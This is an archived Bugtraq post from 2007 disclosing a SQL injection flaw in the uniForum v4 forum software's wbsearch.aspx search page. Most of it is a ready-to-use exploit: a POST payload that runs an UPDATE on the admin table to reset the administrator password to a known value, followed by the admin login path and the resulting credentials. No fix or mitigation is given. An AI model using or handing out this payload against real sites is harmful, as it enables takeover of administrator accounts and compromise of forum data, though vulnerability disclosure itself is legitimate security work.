bugtraq - uniForum <= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20070125170535.20035.qmail@securityfocus.com>
Date: 25 Jan 2007 17:05:35 -0000
From: ajannhwt@...mail.com
To: bugtraq@...urityfocus.com
Subject: uniForum <= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability

*******************************************************************************
# Title   :  uniForum <= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  ...
# Vendor  :  http://uniforum.biz/
# $$      :  $99

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//wbsearch.aspx (POST Method) [SQL]

Example:

//Fin the ->wbsearch.aspx Before, see "by User", it write ';update admin set Password='000245'--

Login Admin:http://www.xxx.com/[path]/wbadmlog.aspx
Username: Administrator
Password: 000245

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!